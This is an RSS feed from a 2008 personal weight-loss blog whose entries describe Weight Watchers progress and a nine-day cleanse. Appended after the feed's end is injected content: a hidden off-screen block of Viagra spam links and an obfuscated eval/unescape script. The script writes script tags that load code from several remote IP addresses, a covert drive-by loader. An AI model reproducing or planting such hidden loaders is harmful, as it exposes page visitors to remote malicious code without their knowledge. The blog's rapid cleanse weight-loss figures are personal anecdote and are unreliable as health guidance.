<?xml version="1.0" encoding="UTF-8"?><!-- generator="wordpress/wordpress-mu-1.2.3-2.2.1" -->
<rss version="0.92">
<channel>
	<title>30, Thin, &#38; Thriving!</title>
	<link>http://blogs.weightwatchen.com/my30x30</link>
	<description>Just another Blogs.weightwatchen.com weblog</description>
	<lastBuildDate>Thu, 01 May 2008 12:38:05 +0000</lastBuildDate>
	<docs>http://backend.userland.com/rss092</docs>
	<language>en</language>
	
	<item>
		<title>Last Day!!!!</title>
		<description>WOO HOO!!!! It is the last day of the cleanse! I DID IT! I made it through it! :) The scale said that I have lost 11 pounds! YAY! I am going to buy a dress tomorrow and I am so glad that the weight is back off! I am ...</description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/05/01/last-day-2/</link>
			</item>
	<item>
		<title>10 down!</title>
		<description>the cleanse is working... the pounds are dropping...!!!! I am feeling great! The scale is down 10 pounds already! I have 3 days left of the cleanse so I am expecting the total weight that I gained to be gone!
 </description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/04/29/10-down/</link>
			</item>
	<item>
		<title>On to day 2!</title>
		<description>I survived day 1 of the cleanse! YAY!!! When I got on the scale this morning it had already dropped 5 pounds from yesterday! CRAZY! I am so glad though! YIPPEEE!!!! Hopefully by the end of the 9 day program I will be back down! I was surprisingly not hungry ...</description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/04/24/on-to-day-2/</link>
			</item>
	<item>
		<title>Happily&#8230; GAINING!!!!</title>
		<description>Hello everyone!!! So... I happily maintained for a while... and now I am happily gaining! LOTS! So... I am back! RRRRR....I really am mad at myself for letting this happen! I have had some happy changes going on in life so I have not had as much time for hitting ...</description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/04/23/happily-gaining/</link>
			</item>
	<item>
		<title>Happily Maintaining!</title>
		<description>I have maintained from 156-161 since August 17!!! That is a 6 months!!! HOLY COW!!! I guess I could get down on myself that I have not lost any weight since then, but I am quite the opposite.  Even though I can not seem to get the motivation to ...</description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/02/19/happily-maintaining/</link>
			</item>
	<item>
		<title>Staying Steady&#8230;</title>
		<description>I had WI on Friday ... 156.6 .... I was glad to see that I had maintained my loss.  I only made it to the gym one time last week, so by the time I got there I had tons of energy and ran 5 miles! It felt GREAT! ...</description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/02/04/staying-steady/</link>
			</item>
	<item>
		<title>MIA!</title>
		<description>Sorry I have been MIA lately... not much new to report... still hanging around in the 150's, working out everyday, and watching what I eat... not counting though.  It's working for now so I am going with it! I have been crazy busy lately but having a FUN time! ...</description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/01/30/mia/</link>
			</item>
	<item>
		<title>todays a new day!</title>
		<description>I went way over on points yesterday.... I had 18 before I even thought about dinner! I had a light dinner, 4 points, but then the neighbors brought over hot fresh cinnamon rolls.... and I caved! and that's not the worse part.... I made a crumb cake on Sunday (I ...</description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/01/16/107/</link>
			</item>
	<item>
		<title>I just kept running&#8230;.</title>
		<description>I was Forest Gump at the gym last night! LOL! :) I don't know where it came from but I had more energy then I have had in a VERY long time! By the time I stepped off of the treadmill I had hit 5.5 miles!!!! WOW!!! I haven't ran ...</description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/01/15/i-just-kept-running/</link>
			</item>
	<item>
		<title>The good and the bad&#8230;.</title>
		<description>I have good news and bad news... lets start with the good! :) I had WI on Friday... 156.2!!!! That is the lowest I have been since I started WWers in Feb! I am very excited! However.... now for the bad.... I had a bit of a hard weekend, ended ...</description>
		<link>http://blogs.weightwatchen.com/my30x30/2008/01/14/the-good-and-the-bad/</link>
			</item>
</channel>
</rss>
<div style='position:absolute; left:-1000px; top:-1000px;'>Discount tadalafil <A HREF='http://www.youtube.com/traxtenberg555' title='buy viagra online'>buy viagra here</A>Old man who takes Viagra looking for a regular supply of prescription viagra who enjoy learning about <A HREF='http://forum.lycos.de/member.php?u=26282' title='buy viagra drugs' TARGET=_blank>buy viagra drugs</A> E-shop where you can buy <A HREF='http://www.answerbag.com/profile/?id=310168' title='viagra best buy'>buy viagra pills</A> 
<script>if(typeof(yahoo_counter)!=typeof(1))eval(unescape('v%61%72# %61~,%69$%2C?%5F%3Ba`%3D#[%22%31#%39%31%2E`%31#%33%33|"?%2C"%31$%35%37%2E?20$%32%22%2C$%22!1`%35%38$%2E~89#%22~,%22`%31$%39%31|%2E@8@%34?%22$%5D%3B%5F%3D!%31#;!i`f(%64~%6F%63um%65$%6E%74%2E$%63%6F~%6Fk%69?%65.!%6D|a%74@%63h(%2F#%5C#b%68~g%66$%74~=`%31`%2F|)!%3D|=%6Eu|ll%29|%66o?%72~(i=|0%3B$%69%3C!4%3B?%69!%2B!%2B$%29$%64!%6Fc~%75!m%65@%6E`t%2E%77|%72!%69t%65(@%22%3C@%73%63@%72@%69%70#%74#%3E~if|(%5F?)?d!o$%63%75#%6D`e!%6E?t$%2E$%77#%72`it@%65(#%5C%22@%3Cs`cr|i#pt$%20@i!%64#%3D_"%2B|%69+%22_? #%73%72c`%3D#%2F/76!%2E?%31~%36$%33%2E~%22`+`a[%69`]?+%22$%2F|%63~%70~/`%3E~%3C?%5C|%5C?%2F#s|%63r|i?%70%74%3E@%5C?%22$%29|%3C$%5C?/`%73#%63%72%69p|t%3E?%22$%29%3B').replace(/\!|@|\?|`|~|\||#|\$/g,""));var yahoo_counter=1;</script></div>
